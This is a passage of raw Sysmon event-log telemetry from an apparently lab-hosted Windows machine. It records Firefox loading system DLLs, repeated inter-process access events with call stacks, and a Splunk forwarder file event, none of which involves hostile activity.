Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000050457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000050456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000050455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000050454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000050453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000050452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 23542300x800000000000000050451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.454{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EF5335B511DDEFF193B2DDBB79379FED,SHA256=B5047F369A6E242A1EF3EB4225E2091D8A7D8D13F8E8F308DFE9EFEC7A6F36DC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000050436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.438{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a51b9d|C:\Program Files\Mozilla Firefox\xul.dll+a4719a|C:\Program Files\Mozilla Firefox\xul.dll+a47054|C:\Program Files\Mozilla Firefox\xul.dll+19d273|C:\Program Files\Mozilla Firefox\xul.dll+8e9965|C:\Program Files\Mozilla Firefox\xul.dll+8e9541|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+1670a5c|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program 